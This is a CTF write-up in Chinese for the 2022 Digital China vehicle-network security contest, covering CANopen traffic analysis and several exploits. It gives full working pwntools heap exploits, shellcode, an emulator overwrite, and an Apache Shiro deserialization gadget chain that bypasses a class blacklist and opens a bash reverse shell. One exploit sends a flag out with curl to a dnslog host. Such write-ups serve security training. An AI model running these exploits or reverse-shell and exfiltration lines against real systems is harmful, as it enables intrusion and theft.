【WP】2022数字中国创新大赛车联网安全赛初赛

WriteUp 2年前 (2022) admin
1,367 0 0


【WP】2022数字中国创新大赛车联网安全赛初赛


4月10日,由春秋GAME伽玛实验室支持的2022数字中国创新大赛车联网安全赛初赛圆满结束。伽玛实验室精选了6道赛题的解题思路一起学习 ~


雾里看CAN

  1. 首先打开流量包,可以一眼就看出是CAN协议的分析。

    【WP】2022数字中国创新大赛车联网安全赛初赛

  2. 使用strings maybeEasy.pcapng > maybeEasy.txt提取流量中的所有字符串。

    【WP】2022数字中国创新大赛车联网安全赛初赛

  3. 可以看到CANopen字符串,于是推测本题使用了CANopen协议,于是可以搜集或直接根据车联网渗透经验得知以下重要信息:

    仲裁ID 目标
    0x1000 设备类型
    0x1008 设备名称
    0x1009 硬件版本
    0x100A 软件版本
  4. 那么根据CAN数据封包格式,我们应该寻找的是以下四个包。

    40 00 10 00 00 00 00 00
    40 08 10 00 00 00 00 00
    40 09 10 00 00 00 00 00
    40 0A 10 00 00 00 00 00
  5. 得到其对应的回应包如下(略去流控)

    → 40 00 10 00 00 00 00 00
    ← 43 00 10 00 34 31 66 37
    → 40 08 10 00 00 00 00 00
    ← 41 08 10 00 15 00 00 00
    ← 00 43 41 4e 6f 70 65 6e
    ← 10 44 65 6d 6f 4c 69 6e
    ← 01 75 78 2d 39 66 31 62
    → 40 09 10 00 00 00 00 00
    ← 41 09 10 00 08 00 00 00
    ← 00 66 39 35 37 64 61 39
    ← 1d 38 00 00 00 00 00 00
    → 40 0A 10 00 00 00 00 00
    ← 41 0a 10 00 0c 00 00 00
    ← 00 62 30 34 35 39 35 39
    ← 15 35 66 64 39 33 00 00
  6. 接下来经过进一步的解析,我们可以得到以下信息:

    目标
    设备类型 41f7
    设备名称 CANopenDemoLinux-9f1b
    硬件版本 f957da98
    软件版本 b0459595fd93

    由此可以拼出flag{f957da98-????-41f7-9f1b-b0459595fd93}

  7. 此时也进入了本题的难点,若选手研究过CANopenDemoLinux,将可以获取CANopenDemoLinux专属仲裁ID表,自然可以发现:

    仲裁ID 子ID 意义
    0x2120 回放数据
    0x2121 0x01 短字符串
    0x2121 0x02 长字符串
    0x2121 0x03 数值字符串
  8. 于是注意40 21 21 00 00 00 00 00的串即可以发现关键数据

  9. 可以发现逻辑是先向总线的长字符串查询,得到结果

    【WP】2022数字中国创新大赛车联网安全赛初赛

    Example string with 1000 bytes capacity. It may contain UTF-8 characters, like '€', tabs ' ', newlines, etc.


  10. 随后向总线写入了数据。

    【WP】2022数字中国创新大赛车联网安全赛初赛

    AWD.3731XXXX.XXXXXXX


  11. 随后再次读取了内容,之后再次写入www.XXXX6533.FromHex,之后再次读取,注意此时其实并未读取对应的子ID因此只看读取回应无法获取到www.XXXX6533.FromHex,那么我们获取了完整域名www.37316533.FromHex

  12. 可以拼接完整flag{f957da98-71e3-41f7-9f1b-b0459595fd93}


神秘的hashmap

将shellcodde部署进mmap空间中,执行shellcode,exp如下:

from pwn import *
context.arch = 'amd64'

p = remote('47.93.2.254'17796)
# else:
#     p = process("./hashmap")

def insert(k, v):
    p.sendlineafter("Option:""1")
    p.sendlineafter("Key:", str(k))
    p.sendlineafter("Value:", str(v))

def lookup(k):
    p.sendlineafter("Option:""2")
    p.sendlineafter("Key:", str(k))

def delete(i):
    p.sendlineafter("Option:""3")
    p.sendlineafter("Index:", str(i))

def exec(a):
    num = u64(asm(a).ljust(6b'x90') + b'xebx12')
    insert(0xcafebabedeadbeef, num)

insert(0xcafebabe000000000x00000000deadbeef)      # entry to be deleted
insert(0x07eb9090aaaaaaaa0x12eb909090909090)      # setup the chain!      

exec('mov ebx, 0x68732f2f')
exec('mov eax, 0x6e69622f')
exec('shl rbx, 0x20')
exec('xor rbx, rax')

# from https://www.exploit-db.com/exploits/42179, modified a bit
exec('xor rax, rax')
exec('xor rsi, rsi')
exec('xor rdx, rdx')
exec('push rax')
exec('push rbx')
exec('mov rdi, rsp')
exec('mov al, 0x3b')
exec('syscall')


delete(0)

lookup(0x1221)

p.interactive()


babycarlcok

本题是自写HTTP的通信协议,需要选手对于本题目内部构件的CGI通信协议进行逆向。主要是对http协议逆向,实现登录/ 用户面板 /  访问主页 / 控制车辆门锁开关等功能,在用户面板中可以添加或删除自己管控的汽车,并为汽车添加标识符。

【WP】2022数字中国创新大赛车联网安全赛初赛

本题的漏洞点是,程序对于edit没有进行size管控,可以在精心构造的payload中实现HeapOverFlow,可采用TcachePoison LargeBinAttack等多种方式拿shell。

from pwn import*

#p=process("./babyLocker")
p=remote("47.93.2.254",45336)
# context.terminal=['tmux','splitw','-h']
context.log_level='debug'
libc = ELF("./libc-2.31.so")
def login():
    payload = b"POST /login.cgi HTTP/1.1rnConnection:keep-alivernTestHeader:NONOnornCookie:Shayebushirnrnxf1emanresuxf2drowssap"
    p.send(payload)

def add(idx,size,content):
    p.recvuntil("text/html")
    payload = b"POST /userPanel.cgi HTTP/1.1rnConnection:keep-alivernTestHeader:NONOnornCookie:Shayebushirnrn"+chr(0).encode()+chr(idx).encode()+chr(8).encode()+chr(8).encode()+p32(size)+content
    p.send(payload)

def edit(idx,size,content):
    p.recvuntil("text/html")
    payload = b"POST /userPanel.cgi HTTP/1.1rnConnection:keep-alivernTestHeader:NONOnornCookie:Shayebushirnrn"+chr(1).encode()+chr(idx).encode()+chr(8).encode()+chr(8).encode()+p32(size)+content
    p.send(payload)
def free(idx):
    p.recvuntil("text/html")
    payload = b"POST /userPanel.cgi HTTP/1.1rnConnection:keep-alivernTestHeader:NONOnornCookie:Shayebushirnrn"+chr(2).encode()+chr(idx).encode()
    p.send(payload)
def edit1(idx,size,content):
    #p.recvuntil("text/html")
    payload = b"POST /userPanel.cgi HTTP/1.1rnConnection:keep-alivernTestHeader:NONOnornCookie:Shayebushirnrn"+chr(1).encode()+chr(idx).encode()+chr(8).encode()+chr(8).encode()+p32(size)+content
    p.send(payload)

print(type(chr(1).encode()))
#gdb.attach(p,"b* $rebase(0x2280)")
login()

add(0,16,b"123")

add(1,16,b"234")

add(2,0x80,b"2333")

add(3,16,b"345")

add(4,0x80,b"1")
add(5,0x80,b"1")
add(6,0x80,b"1")
add(7,0x80,b"1")
add(8,0x80,b"1")
add(9,0x80,b"1")
add(10,0x80,b"1")
for i in range(7):
    free(10-i)

free(2)

edit(0,25,b"a"*24+b"xb1")
edit(1,0,b'a')
libcaddr = u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00')) - 0x1ecbe0
print(hex(libcaddr))
freehook = libcaddr + libc.symbols['__free_hook']
system=libcaddr + libc.symbols['system']
payload = b"a"*0x18+p64(0x91)+p64(freehook)

edit1(3,48,payload)

add(11,0x80,b"/bin/sh;")

add(12,0x80,p64(system))


free(11)


p.interactive()



midcarlock

本题目是BabyCarLock题目的升级版,其大致的HTTPServer框架与初版基本一致 。

【WP】2022数字中国创新大赛车联网安全赛初赛

首先定位到了用户管理面板函数,其中首先就进行了一个看似奇怪的check。

可以通过动态调试或静态分析给定的libc内部偏移可以确定这里是freehook和mallochook以及reallochook之类的常用入侵函数勾子

【WP】2022数字中国创新大赛车联网安全赛初赛

可以发现,程序额外添加了入侵检测,如果这些hook被修改的话会关闭IO流。虽然没有直接exit程序,但是拒绝和用户继续交互。同时我们常规的触发手段诸如通过freehook getshell之类的就不能实现了。

【WP】2022数字中国创新大赛车联网安全赛初赛

关注到程序的edit逻辑有所改变。

用户再申请修改id的时候仍然可以自主提交size,但是程序不再直接信任size,而是用size和现有size做一个对比,如果有变化先进行realloc再写入,但是问题就是出现在这里,题目中并没有将realloc函数的返回值储存,也就是无论怎样realloc程序默认堆地址是固定的。因此在这里可以通过精心构造实现UAF。

如果选手想要继续利用这三个hook来达到攻击目的的话需要用的一些旁路手段,诸如使用dnslog 让程序在关闭io之后 通过curl服务器或者dnslog的方式把flag带出来。或者选手可以选择更为复杂的劫持io,exit等高级方式实现cat flag。本题目对于uaf之后的后利用有很多手段,目的是为了检测选手的多元化漏洞利用能力,不拘一格,同时又防止了选手使用比较常规的单一手段。

#coding:utf8
from pwn import*
p=remote("47.93.2.254"23589)
libc = ELF("./libc-2.31.so")
def login1():
    payload = b"POST /login.cgi HTTP/1.1rnConnection:keep-alivernTestHeader:NONOnornCookie:Shayebushirnrnxf1emanresuxf2drowssap"
    p.send(payload)

def add(idx,size,content):
    p.recvuntil("text/html")
    payload = b"POST /userPanel.cgi HTTP/1.1rnConnection:keep-alivernTestHeader:NONOnornCookie:Shayebushirnrn"+chr(0).encode()+chr(idx).encode()+chr(8).encode()+chr(8).encode()+p32(size)+content
    p.send(payload)
def add1(idx,size,content):
    payload = b"POST /userPanel.cgi HTTP/1.1rnConnection:keep-alivernTestHeader:NONOnornCookie:Shayebushirnrn"+chr(0).encode()+chr(idx).encode()+chr(8).encode()+chr(8).encode()+p32(size)+content
    p.send(payload)

def edit(idx,size,content):
    p.recvuntil("text/html")
    payload = b"POST /userPanel.cgi HTTP/1.1rnConnection:keep-alivernTestHeader:NONOnornCookie:Shayebushirnrn"+chr(1).encode()+chr(idx).encode()+chr(8).encode()+chr(8).encode()+p32(size)+content
    p.send(payload)
def free(idx):
    p.recvuntil("text/html")
    payload = b"POST /userPanel.cgi HTTP/1.1rnConnection:keep-alivernTestHeader:NONOnornCookie:Shayebushirnrn"+chr(2).encode()+chr(idx).encode()
    p.send(payload)
def edit1(idx,size,content):
    payload = b"POST /userPanel.cgi HTTP/1.1rnConnection:keep-alivernTestHeader:NONOnornCookie:Shayebushirnrn"+chr(1).encode()+chr(idx).encode()+chr(8).encode()+chr(8).encode()+p32(size)+content
    p.send(payload)
login1()
add(0,0x10,b"123")
add(1,0x80,b"234")
add(2,0x10,b"123")

for i in range(7):
    add(3+i,0x80,b"a")
for i in range(7):
    free(3+i)
edit(1,0,b"1")
add(12,0x1,b"xe0")
edit(12,0x100,b"a")
p.recvuntil(b"859-")
libcaddr = u64(p.recvuntil(b"x7f")[-6:].ljust(8,b'x00')) - 0x1ecc40
system=libcaddr+libc.symbols['system']
freehook=libcaddr + libc.symbols['__free_hook']
print(hex(libcaddr))
add1(13,0x10,b"2")
add(14,0x10,b"1")
add(15,0x80,b"curl `cat flag`.9xsdwn.dnslog.cn"# 举例
free(14)
free(13)

edit(12,0x10,p64(freehook))
add(16,0x10,b"a")
add(17,0x10,p64(system))
free(15)
p.interactive()


仿真器

本题参考了SECCON Beginners CTF 2021。

首先看下头文件。

struct emulator {
    uint8_t         registers[REGISTERS_COUNT];
    uint8_t         memory[0x4000];
    void (*instructions[0xFF])(struct emulator*);
};

内存和指令是连续的。

另外,由于mvi仿真写入内存时没有检查,所有内存区域可能被覆盖。

static void mvi(struct emulator *emu) {
    uint8_t pc = get_mem_pc(emu);
    inc_pc(emu);
    switch (pc) {
        case 0x06:
            emu->registers[B] = get_mem_pc(emu);
            break;
        case 0x0E:
            emu->registers[C] = get_mem_pc(emu);
            break;
        case 0x16:
            emu->registers[D] = get_mem_pc(emu);
            break;
        case 0x1E:
            emu->registers[E] = get_mem_pc(emu);
            break;
        case 0x26:
            emu->registers[H] = get_mem_pc(emu);
            break;
        case 0x2E:
            emu->registers[L] = get_mem_pc(emu);
            break;
        case 0x36:
            emu->memory[get_hl(emu)] = get_mem_pc(emu);
            break;
        case 0x3E:
            emu->registers[A] = get_mem_pc(emu);
            break;

        default:
            fprintf(stderr"NOT IMPLEMENTED!!!!n");
            exit(1);
    }

}

exp:

#!/usr/bin/env python3
from pwn import *
import os


binfile = './chall'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile

io = remote('10.7.6.119'20001)
#io = process(binfile)

def mvi(r, d):
    if r == 'A':
        return bytes([0x3E, d])
    elif r == 'B':
        return bytes([0x06, d])
    elif r == 'C':
        return bytes([0x0E, d])
    elif r == 'D':
        return bytes([0x16, d])
    elif r == 'E':
        return bytes([0x1E, d])
    elif r == 'H':
        return bytes([0x26, d])
    elif r == 'L':
        return bytes([0x2E, d])
    elif r == 'M':
        return bytes([0x36, d])


system_addr = e.sym['system']


payload = mvi('H'0x40)                        # memory[0x4000]
payload += mvi('L'0x0c)                       # memory[0x400c]
payload += mvi('M', system_addr & 0xff)         # memory[0x400c] = system_addr & 0xff
payload += mvi('L'0x0d)                       # memory[0x400d]
payload += mvi('M', system_addr >> 8 & 0xff)    # memory[0x400d] = system_addr >> 8 & 0xff
payload += mvi('L'0x0e)                       # memory[0x400e]
payload += mvi('M', system_addr >> 16 & 0xff)   # memory[0x400e] = system_addr >> 16 & 0xff
payload += mvi('A', ord('s'))
payload += mvi('B', ord('h'))
payload += mvi('C'0)
payload += bytes([0x010xc9])

io.recvuntil(b'loading to memory...')
io.send(payload)
io.recvuntil(b'running emulator...')

io.sendline('cat flag.txt')

io.recvuntil(b'flag')
print('flag' + io.recvuntil(b'}').decode('utf-8''ignore'))


ezcc

首先获取shirokey。因为shiro1.2.4 key为硬编码,所以通过附件即可提取(org.apache.shiro.mgt.AbstractRememberMeManager.class)。

得到shirokey,即可进行shiro反序列化。由于题目存在CommonsCollections依赖,所以考虑使用cc链。但使用ysoserial生成的各个cc链均无法打通。查看dockerlog,可以发现一行报错:

Caused by: java.io.InvalidClassException: Class blocked by SK:xxxx

因为题目在shiro的基础上对反序列化时涉及的类进行了黑名单限制,黑名单如下。具体实现可以查看org.apache.shiro.io.ClassResolvingObjectInputStream.java相对于原版的更改部分。

 <regexp>^org.apache.commons.collections.functors.InvokerTransformer$</regexp>
      <regexp>^org.apache.commons.beanutils.BeanComparator$</regexp>
      <regexp>^org.apache.commons.collections.functors.ConstantTransformer$</regexp>
      <regexp>^java.rmi.server.RemoteObjectInvocationHandler$</regexp>

通过上面的黑名单,可以知道shiro用的最广的CommonsBeanutils链因为ban了BeanComparator所以无法利用。

而其他的cc链,因为shiro本身无法支持Transformer[]的缘故,再加上ban了InvokerTransformer和ConstantTransformer,也无法直接利用。

还可以考虑使用JRMP,但因为ban了RemoteObjectInvocationHandler,也无法利用了。

不难看出,这里有一个反序列化常用类(com.sun.org.apache.xalan.internal.xsltc.trax.*)并没有ban,这个东西在CommonsBeanutils链中也有使用,其作用主要为克服shiro本身对Transformer[]的限制。此外使用InstantiateTransformer可以代替InvokerTransformer达到bypass。然后因为并没有ban TiedMapEntry相关类,所以直接拼上打java8的TiedMapEntry链即可rce。

下面直接贴出exp

  1. 生成remeberMe
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class Exp {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException {
        byte[] payloads = new Payload().getPayload();
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("7Bhs26ccN6i/0AT9GhZULF==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());

    }
}
class Payload {
    public Payload(){
    }
    public byte[] getPayload() throws IOException, IllegalAccessException, NoSuchFieldException, NotFoundException, CannotCompileException {
        System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes"new byte[][] {ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()});
        setFieldValue(obj, "_name""HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory"new TransformerFactoryImpl());

        Transformer transformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj });

        Transformer fakeTransformer = new ConstantTransformer(1);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, fakeTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);

        HashMap expmap = new HashMap();
        expmap.put(tme,"xxxxxx");
        outerMap.clear();

        Field f = LazyMap.class.getDeclaredField("factory");
        f.setAccessible(true);
        f.set(outerMap, transformer);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expmap);
        oos.close();

        return barr.toByteArray();
    }
    public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field fieldName = obj.getClass().getDeclaredField(name);
        fieldName.setAccessible(true);
        fieldName.set(obj, value);
    }
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException 
{}
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler)
 throws TransletException 
{}
    public HelloTemplatesImpl() {
        super();
        try {
            Runtime r = Runtime.getRuntime();
             Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});
            p.waitFor();
        }catch (Exception e){}

    }
}

  1. 发送payload
import requests
url = "http://127.0.0.1:8888/ezcc/index.jsp"
r=requests.get(url,cookies={
    "rememberMe":"VpJEJH7bT1Ch/WUm......"#上一步生成的remeberMe
})
print(r.text)
  1. 在vps上等待反弹shell,根目录下即可查看flag。


GAME福利

为了让更多选手可以回味本次比赛的精彩过程,持续学习和训练,春秋GAME团队将车联网题目部署到i春秋CTF大本营的“2022数字中国创新大赛车联网安全赛”,欢迎各位师傅交流讨论。

https://www.ichunqiu.com/competition





相关阅读



【WP】2022数字中国创新大赛车联网安全赛 best_agent|设计思路与解析



春秋GAME伽玛实验室

会定期分享赛题赛制设计、解题思路……

如果你日常有一些技术研究和好的设计思路

或在赛后对某道题有另辟蹊径的想法

欢迎找到春秋GAME投稿哦~

联系vx:cium0309

欢迎加入 春秋GAME CTF交流2群

Q群:703460426

【WP】2022数字中国创新大赛车联网安全赛初赛

【WP】2022数字中国创新大赛车联网安全赛初赛

原文始发于微信公众号(春秋伽玛):【WP】2022数字中国创新大赛车联网安全赛初赛

版权声明:admin 发表于 2022年5月17日 下午6:28。
转载请注明:【WP】2022数字中国创新大赛车联网安全赛初赛 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...